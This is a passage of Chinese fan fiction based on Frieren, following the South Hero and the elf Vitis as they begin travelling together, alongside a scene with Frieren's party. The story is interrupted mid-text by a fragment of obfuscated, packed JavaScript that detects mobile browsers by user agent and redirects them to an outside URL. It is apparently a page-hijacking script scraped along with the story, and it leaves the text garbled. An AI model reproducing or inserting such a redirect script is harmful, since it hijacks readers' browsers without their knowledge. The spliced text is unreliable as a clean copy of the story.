他缓缓地,缓缓地闭上了眼。 不讨厌。 当然不可能讨厌。 他怎么可能讨厌维特丝呢? 恰恰相反。 “为什么……要追上来。” 他声音有些艰涩,缓缓的,他抬起手,落在了她环在自己身前的手背上。 他想,他该推开她。 这样或许只会难过一阵子,但她陷落得尚浅,总还有抽身回去的余裕。 或许她还能有更好的未来。 那是他的预知能力也无法窥见的未来。 万一呢。 万一未来可以更改呢。 万一这一切都能实现呢。 精灵的手臂又收紧了几分,好像这样就不会被扯开一样。 她用额头抵着他的背脊,低低地笑出了声来。 “没有理由呀。” 她声音很轻,因为是从身背后传出来的,带着种特有的模糊感。 勇者感觉到她的脑袋动了动,似乎是将整张面孔埋在了自己身后,然后深深吸了一口气。 “我都不知道你是谁,也不知道你是一个怎样的人,明明就是那样偶然的相遇而已。” “可我就是想要留在你身边。” 空气安静了下来。 她没有继续说话,像是在等着勇者的回应。 但勇者似乎也没有开口的打算。 他只是垂着头,看着精灵鲜红的发丝被风撩拨着飞舞到自己身前。 在沉默蔓延开的时候,维特丝忽然松开了抱着他的手。 于是冬夜的风瞬间侵占了原本相贴的那一块身体,也是当寒意袭来,先前的暖才格外明显。 勇者有一瞬的失神,下一秒,赤足的姑娘却已经绕到了他面前。 她仰着面孔,漂亮的面容蒙着月色,笑容明艳。 她注视着他,目光像是被圣水洗涤过一样澄澈透亮。 “我也不明白为什么,但如果一定要一个答案,那我想,就把这个理由叫成是——” “——爱吧。” 6. 第 6 章 “那边那个穿斗篷的可疑家伙,是你认识的人吗?芙莉莲。” 喧闹的市场里,辛美尔用余光盯着某个方向,俯下身凑到白发精灵的耳边。 “不用理会她,随她去就可以了。” 芙莉莲甚至头也没抬,只是认真低头在眼前的摊子里挑选准备带上路的食材。 如南之勇者所预言的那样,辛美尔的出现的确改变了她原本的生活,她加入了讨伐魔王的小队,踏上了前往北方的旅途。 而在这期间,原本总是缠着她不停说话的红发精灵维特丝倒是意外地消停了好长一段时间,芙莉莲一度以为她不会再出现了。 直到小队一行人离开王都三天之后,在他们路过一个村子歇脚的时候,芙莉莲在村口看到了穿着一身可疑斗篷的维特丝。 她不说话,也不向他们靠近,只如幽灵一样在一行人背后不远不近地飘着。 辛美尔是最早发现那家伙存在的,敏锐如他,也发现了那家伙似乎与芙莉莲相识。 “这样放着不管真的没关系吗?她不会是有什么事需要帮忙又不好意思开口吧?” 辛美尔还是有些担心。 “我说啊——” 芙莉莲终于选好了食材,将几枚铜板递给摊主之后才转回头: “那家伙才不是会考虑这种问题的性格。如果她有什么事,一定第一时间就过来搭话了。” “现在她选择跟在那里,那就是因为她想要那么做,所以随她这么做就好了。” 说罢,芙莉莲的视线又往一侧斜了斜: “虽然这样的确稍微有点碍眼就是了。” 辛美尔笑了。 “芙莉莲的这位朋友还真是特别呢。” “我和她也不是什么朋友吧。” 芙莉莲反驳。 “不过我们马上就要出城了哦,野外多少还是有遭逢魔物的危险的,她如果离得太远,我们说不定很难照顾得到。” 辛美尔又说。 “这也不是什么需要担心的事。” 芙莉莲说着,转过头,朝那个穿斗篷的精灵的方向看去: “那家伙虽然不擅长战斗,但如果论及隐蔽和逃跑,这个世界上不会有人比她更擅长了。” * “你这家伙绝对是作弊了吧!明明我藏得这么隐蔽,魔力也有好好地收敛起来,你是怎么找到我的?” “每次都是这样,人类最强什么的,最讨厌了!” “我本来还想着等你路过这里的时候跳出来吓你一大跳呢!” 红发的精灵抬手扯去了挂在头顶的藤蔓,又施展了魔法,将涂满树的汁水和泥巴的身体恢复成了之前的样子。 青年站在树洞之外,看着气鼓鼓的精灵处理着自己的一切,眉眼间也不自觉地染上了几分笑来。 自从她跟着他一起踏上旅途之后,这样的事情便时有发生。 她不擅长战斗,每当遇到敌人,总会第一时间逃走,然后找到安全的地方躲起来,而他总会在战斗结束之后轻易地把她找出来。 * 是的,他们终究还是一起踏上了旅途。 * 那个晚上,他没能拒绝维特丝的提案。 又或者说,他意识到即使想要拒绝,似乎也已经为时已晚。 他太清楚维特丝是怎样的性格——她真的能做出不管不顾追着他一路跑到魔王城的事来。 那样反而会更容易让她陷入危险。 与其那样,还不如把她放在自己看得到的地方,至少在他赴死之前,还可以保证她的安全。 于是勇者伸出了手,将赤足的精灵抱了起来。 精灵讶异地惊呼了一声。 “不是要跟我离开吗?那么就先回去收拾一下行装吧。” “至少得换上身像样的衣裳。” 精灵的眼底里迸发出了惊喜的光彩,她将手臂挂在了他的脖子上,一路都紧紧地贴在他身上。 她很轻,这样抱着她几乎不用花多少力气。 可勇者却感受到了仿佛全世界的重量。 不是已经决定踏上不归的旅途了吗。 不是已经决定舍弃原本的一切,成为人类伟业上的一粒沙土吗? 可当他感受着手臂上的重量时,当他感受着她的体温,她的呼吸,她的心跳的时候,活着的感觉也变得尤其强烈。 不是作为“勇者”而活着,而是作为他自己。 他是如此渺小而平庸的存在。 “你怎么不跟我一起进来?是不是还想趁着我不注意一个人溜走?” 站在木屋的门口,精灵不放心地回头看他。 “不会。” 他说。 “我可不信。” 维特丝说。 精灵审视的目光太灵动,勇者有些不自然地别开了视线。 “不是要换衣服吗?” 话音落下的时候,红发精灵已经跑到了他跟前,拉起了他的手。 “我不管,总之你也要在房间里才行。” “我很快的。” * 南之勇者当然是个绅士,不会想要窥探女士换装时的场景。 被维特丝强硬地拉进木屋之后,他便只能在墙角背着身,闭着眼睛,听背后接连不断窸窸窣窣的响动。 真是糟糕透了。 即使在和魔族进行激烈的战斗时,即使是通过预知的能力窥见自己的结局时,他都没有过像现在这样手足无措。 若他对那个人没有丝毫绮念,倒也能姑且做到问心无愧。 可现在却不行。 他收敛着思绪,竭力让自己不去进行任何思考,仿佛这样就可以避开心底产生的妄念。 他连呼吸都有些不敢,生怕心底里的那一寸卑劣会随着呼吸漏出分毫。 “咦?” 精灵的声音忽然响了起来,带着一点疑惑。 “我记得应该在这里的呀,怎么没了呢?” 他才稍微回过神来。 他下意识地想要回头去看,却又生生止住了动作,只用略有些发干的声音问了句: “怎么了吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398622|200387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她似乎含糊地说了句什么,但内容完全被物品翻倒的声音盖了过去。 视线彻底不受控制地转向那边了。 精灵娇小的身体被一口翻倒的箱子和一堆杂货压在了下面。 所幸身上的衣服倒已经穿得齐整。 勇者松了口气,三两步地上前去帮忙把她身上的东西挪开。 维特丝很快从杂货堆里爬了出来,坐在一边,像炸了毛的猫一样甩了甩脑袋,脸上还残存着些讶异和委屈。 “在找什么?” 勇者一边整理着散乱在地上的杂物,一边问了句。 “不是什么大不了的东西。” 维特丝一骨碌爬了起来,拍了拍身上的灰土: “是母亲给我的一个带着加护的魔法道具,我记得之前一直都收在这里来着,没想到居然没有了。” 一边说着,维特丝胡乱抓起地上散乱的杂货,一股脑地往箱子里装。 “我原本想带着它上路的,但既然找不到的话就算了吧。” 她说得平静,脸上甚至还带着浅浅的笑。 可垂落的眼睫之下,敛去的那一点失落还是尤为明显。 勇者将手里的东西放进了她的箱子里,起身,在屋里环顾了一圈,接着缓缓闭上了眼。 几秒钟之后,他把眼睛重新睁开,径自朝房屋一侧的木床走了过去。 他双手搭着床沿,将那张床挪了开。 有什么东西啪嗒落在了地上,发出了清脆的响动。 那是一枚银质的胸针,上面散发着加护魔法的光泽。 维特丝的动作顿住,惊喜地跑了过去。 “居然在那里!” 她跑了过去,把那枚胸针小心翼翼地捡起攥在掌心,才想起回过头来问他: “你是怎么发现的?” “既然是你母亲留下的东西,我想或许你会很珍视吧。说不定偶尔会拿到床头赏玩,然后不知什么时候落进了床的缝隙里。” 他解释。 但事实上,这样的解释其实并不能站得住脚。 如果她真的珍视这东西,大概很久之前就会发现了。 那枚胸针在那里至少躺了一百年,而他之所以知道它在那里,只是因为他的能力可以窥破时间。 预知的能力可以让他在战斗当中无往不利,在这种找东西或找人的事上也总能派上用场。 * “我姑且还算擅长寻找,所以不管你藏到什么地方,我都能找见。” 勇者这样说。 “真有那么厉害吗?” 维特丝在一边摩拳擦掌: “那要不要比比看?” “我躲藏的本事可也是很厉害的!” “哦?那么你不怕我在你看不到的地方偷偷溜走了吗?” 勇者故作调侃。 精灵瞪大了眼,三两步冲到他跟前,挽住了他的手臂: “我才不会让你跑掉呢。” “哼哼,我也有我的手段,不管你去哪里,我也都会把你好好找回来的!”